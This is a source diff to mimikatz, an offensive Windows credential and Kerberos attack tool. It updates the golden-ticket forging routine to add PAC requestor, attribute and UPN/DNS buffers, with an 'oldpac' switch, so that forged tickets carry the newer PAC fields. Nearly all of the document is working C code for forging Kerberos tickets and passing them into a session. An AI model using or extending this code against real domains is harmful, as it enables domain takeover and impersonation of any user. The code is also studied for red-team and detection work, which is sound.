diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos.c b/mimikatz/modules/kerberos/kuhl_m_kerberos.c index 0398615f..0e7622ff 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos.c @@ -421,6 +421,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]) NTSTATUS status; PKERB_ECRYPT pCSystem; BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL); + BOOL oldPac = kull_m_string_args_byName(argc, argv, L"oldpac", NULL, NULL); kull_m_string_args_byName(argc, argv, L"ticket", &filename, L"ticket." MIMIKATZ_KERBEROS_EXT); if(kull_m_string_args_byName(argc, argv, L"admin", &szUser, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) @@ -505,7 +506,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]) kull_m_string_displayLocalFileTime(&lifeTimeData.TicketEnd); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&lifeTimeData.TicketRenew); kprintf(L"\n"); kprintf(L"-> Ticket : %s\n\n", isPtt ? L"** Pass The Ticket **" : filename); - if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet)) + if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet, oldPac)) { if(isPtt) { @@ -580,7 +581,7 @@ NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD return status; } -PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet) +PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet, BOOL oldPac) { NTSTATUS status = STATUS_INVALID_PARAMETER; KIWI_KERBEROS_TICKET ticket = {0}; @@ -634,7 +635,7 @@ PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWST { if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids)) { - if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize)) + if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, sid, userid, domainname, oldPac, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated\n"); status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize); diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos.h b/mimikatz/modules/kerberos/kuhl_m_kerberos.h index fff3e871..fe7e1acf 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos.h +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos.h @@ -43,5 +43,5 @@ NTSTATUS kuhl_m_kerberos_hash_data_raw(LONG keyType, PCUNICODE_STRING pString, P NTSTATUS kuhl_m_kerberos_hash_data(LONG keyType, PCUNICODE_STRING pString, PCUNICODE_STRING pSalt, DWORD count); wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext); wchar_t * kuhl_m_kerberos_generateFileName_short(PKIWI_KERBEROS_TICKET ticket, LPCWSTR ext); -PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet); +PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet, BOOL oldPac); NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt); \ No newline at end of file diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c b/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c index 7080c1f1..d5959573 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c @@ -5,14 +5,18 @@ */ #include "kuhl_m_kerberos_pac.h" -BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength) +BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, BOOL oldPac, PPACTYPE * pacType, DWORD * pacLength) { BOOL status = FALSE; PVOID pLogonInfo = NULL, pClaims = NULL; PPAC_CLIENT_INFO pClientInfo = NULL; PAC_SIGNATURE_DATA signature = {SignatureType, {0}}; - DWORD n = 4, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER); + DWORD n = oldPac ? 4 : 7, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szPacRequestorsid = 0, szPacRequestorSidAligned = 0, szUpnDnsInfo = 0, szDomainname = 0, szDomainnameAligned = 0, szPacAttributeInfo = 0, szPacAttributeInfoAligned = 0, szUpn = 0, szUpnDnsInfoAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + (oldPac ? 3 : 6) * sizeof(PAC_INFO_BUFFER); PKERB_CHECKSUM pCheckSum; + UPN_DNS_INFO upnDnsInfo; + PSID userSid; + PAC_ATTRIBUTES_INFO pacAttributeInfo; + LPWSTR stringDomainSid = NULL, stringUserSid = NULL, pUpn = NULL; if(NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum))) { @@ -31,9 +35,56 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL offsetData += sizeof(PAC_INFO_BUFFER); } - if(pLogonInfo && pClientInfo) + if (!oldPac) { - *pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szClaimsAligned + 2 * szSignatureAligned; + // Convert sid and id into user sid for PAC REQUESTOR using string conversersion and converting back to sids + if (ConvertSidToStringSid(sid, &stringDomainSid)) + { + if (kull_m_string_sprintf(&stringUserSid, L"%s-%d", stringDomainSid, userId)) + { + if (ConvertStringSidToSid(stringUserSid, &userSid)) + { + szPacRequestorsid = GetLengthSid(userSid); + szPacRequestorSidAligned = SIZE_ALIGN(szPacRequestorsid, 8); + } + } + stringDomainSid = LocalFree(stringDomainSid); + } + + // Setting up PAC_ATTRIBUTE_IFNO + pacAttributeInfo.Flags[0] = PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY; + pacAttributeInfo.FlagsLength = 2; + szPacAttributeInfo = sizeof(PAC_ATTRIBUTES_INFO); + szPacAttributeInfoAligned = SIZE_ALIGN(szPacAttributeInfo, 8); + + + // Making UPN + if (kull_m_string_sprintf(&pUpn, L"%s@%s", validationInfo->EffectiveName.Buffer, domainname)) + { + szUpn = lstrlenW(pUpn) * 2; + + if (szUpn > USHRT_MAX) + { + pUpn = LocalFree(pUpn); + szUpn = 0; + } + } + + // Setting UPN DNS INFO + upnDnsInfo.UpnLength = (USHORT) szUpn; + upnDnsInfo.UpnOffset = sizeof(upnDnsInfo); + upnDnsInfo.DnsDomainNameLength = validationInfo->LogonDomainName.Length * 2; + upnDnsInfo.DnsDomainNameOffset = upnDnsInfo.UpnLength + upnDnsInfo.UpnOffset; + upnDnsInfo.Flags = 0x00000000; + + szDomainname = validationInfo->LogonDomainName.Length * 2; + szUpnDnsInfo = sizeof(upnDnsInfo) + szUpn + szDomainname; + szUpnDnsInfoAligned = SIZE_ALIGN(szUpnDnsInfo, 8); + } + + if(pLogonInfo && pClientInfo && (oldPac || (pUpn && userSid))) + { + *pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szUpnDnsInfoAligned + szPacAttributeInfoAligned + szPacRequestorSidAligned + szClaimsAligned + 2 * szSignatureAligned; if(*pacType = (PPACTYPE) LocalAlloc(LPTR, *pacLength)) { (*pacType)->cBuffers = n; @@ -48,13 +99,33 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL (*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO; (*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned; RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize); - - if(szClaimsAligned) + + if (!oldPac) { - (*pacType)->Buffers[2].cbBufferSize = szClaims; - (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS; + (*pacType)->Buffers[2].cbBufferSize = szUpnDnsInfo; + (*pacType)->Buffers[2].ulType = PACINFO_TYPE_UPN_DNS; (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned; - RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize); + RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset, &upnDnsInfo, (*pacType)->Buffers[2].cbBufferSize); + RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + sizeof(upnDnsInfo), pUpn, szUpn); + RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + sizeof(upnDnsInfo) + szUpn, domainname, szDomainname); + + (*pacType)->Buffers[3].cbBufferSize = szPacAttributeInfo; + (*pacType)->Buffers[3].ulType = PACINFO_TYPE_ATTRIBUTES_INFO; + (*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szUpnDnsInfoAligned; + RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[3].Offset, &pacAttributeInfo, (*pacType)->Buffers[3].cbBufferSize); + + (*pacType)->Buffers[4].cbBufferSize = szPacRequestorsid; + (*pacType)->Buffers[4].ulType = PACINFO_TYPE_PAC_REQUESTOR; + (*pacType)->Buffers[4].Offset = (*pacType)->Buffers[3].Offset + szPacAttributeInfoAligned; + RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[4].Offset, userSid, (*pacType)->Buffers[4].cbBufferSize); + } + + if (szClaimsAligned) + { + (*pacType)->Buffers[n - 3].cbBufferSize = szClaims; + (*pacType)->Buffers[n - 3].ulType = PACINFO_TYPE_CLIENT_CLAIMS; + (*pacType)->Buffers[n - 3].Offset = (*pacType)->Buffers[n - 4].Offset + szClientInfoAligned; + RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[n - 3].Offset, pClaims, (*pacType)->Buffers[n - 3].cbBufferSize); } (*pacType)->Buffers[n - 2].cbBufferSize = szSignature; @@ -77,6 +148,10 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL LocalFree(pClientInfo); if(pClaims) LocalFree(pClaims); + if (pUpn) + LocalFree(pUpn); + if (userSid) + LocalFree(userSid); } return status; } @@ -381,6 +456,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[]) kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize); kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1); kprintf(L"\n"); + } kprintf(L"\n"); } diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h b/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h index 09cad10f..3645ed2e 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h @@ -21,7 +21,7 @@ typedef struct _PAC_SIGNATURE_DATA { } PAC_SIGNATURE_DATA, *PPAC_SIGNATURE_DATA; #pragma pack(pop) -BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength); +BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, BOOL oldPac, PPACTYPE * pacType, DWORD * pacLength); BOOL kuhl_m_pac_validationInfo_to_CNAME_TINFO(PFILETIME authtime, LPCWSTR clientname, PPAC_CLIENT_INFO * pacClientInfo, DWORD * pacClientInfoLength); NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LONG SignatureType, LPCVOID key, DWORD keySize); PKERB_VALIDATION_INFO kuhl_m_pac_infoToValidationInfo(PFILETIME authtime, LPCWSTR username, LPCWSTR domainname, LPCWSTR LogonDomainName, PISID sid, ULONG rid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids); diff --git a/modules/rpc/kull_m_rpc_ms-pac.h b/modules/rpc/kull_m_rpc_ms-pac.h index 23933b5a..46a51dfd 100644 --- a/modules/rpc/kull_m_rpc_ms-pac.h +++ b/modules/rpc/kull_m_rpc_ms-pac.h @@ -2,16 +2,20 @@ #include "kull_m_rpc.h" #include "../kull_m_samlib.h" -#define PACINFO_TYPE_LOGON_INFO 0x00000001 -#define PACINFO_TYPE_CREDENTIALS_INFO 0x00000002 -#define PACINFO_TYPE_CHECKSUM_SRV 0x00000006 -#define PACINFO_TYPE_CHECKSUM_KDC 0x00000007 -#define PACINFO_TYPE_CNAME_TINFO 0x0000000a -#define PACINFO_TYPE_DELEGATION_INFO 0x0000000b -#define PACINFO_TYPE_UPN_DNS 0x0000000c -#define PACINFO_TYPE_CLIENT_CLAIMS 0x0000000d -#define PACINFO_TYPE_DEVICE_INFO 0x0000000e -#define PACINFO_TYPE_DEVICE_CLAIMS 0x0000000f +#define PACINFO_TYPE_LOGON_INFO 0x00000001 +#define PACINFO_TYPE_CREDENTIALS_INFO 0x00000002 +#define PACINFO_TYPE_CHECKSUM_SRV 0x00000006 +#define PACINFO_TYPE_CHECKSUM_KDC 0x00000007 +#define PACINFO_TYPE_CNAME_TINFO 0x0000000a +#define PACINFO_TYPE_DELEGATION_INFO 0x0000000b +#define PACINFO_TYPE_UPN_DNS 0x0000000c +#define PACINFO_TYPE_CLIENT_CLAIMS 0x0000000d +#define PACINFO_TYPE_DEVICE_INFO 0x0000000e +#define PACINFO_TYPE_DEVICE_CLAIMS 0x0000000f +#define PACINFO_TYPE_ATTRIBUTES_INFO 0x00000011 +#define PACINFO_TYPE_PAC_REQUESTOR 0x00000012 +#define PAC_ATTRIBUTE_FLAG_PAC_WAS_REQUESTED 0x00000001 +#define PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY 0x00000002 typedef struct _PAC_INFO_BUFFER { ULONG ulType; @@ -37,6 +41,15 @@ typedef struct _PAC_CREDENTIAL_INFO { UCHAR SerializedData[ANYSIZE_ARRAY]; } PAC_CREDENTIAL_INFO, *PPAC_CREDENTIAL_INFO; +typedef struct _PAC_REQUESTOR { + PISID sid; +} PAC_REQUESTOR, * PPAC_REQUESTOR; + +typedef struct _PAC_ATTRIBUTES_INFO { + unsigned int FlagsLength : 1; + unsigned int Flags[ANYSIZE_ARRAY]; +} PAC_ATTRIBUTES_INFO, * PPAC_ATTRIBUTES_INFO; + #if !defined(_NTSECPKG_) typedef struct _SECPKG_SUPPLEMENTAL_CRED { RPC_UNICODE_STRING PackageName;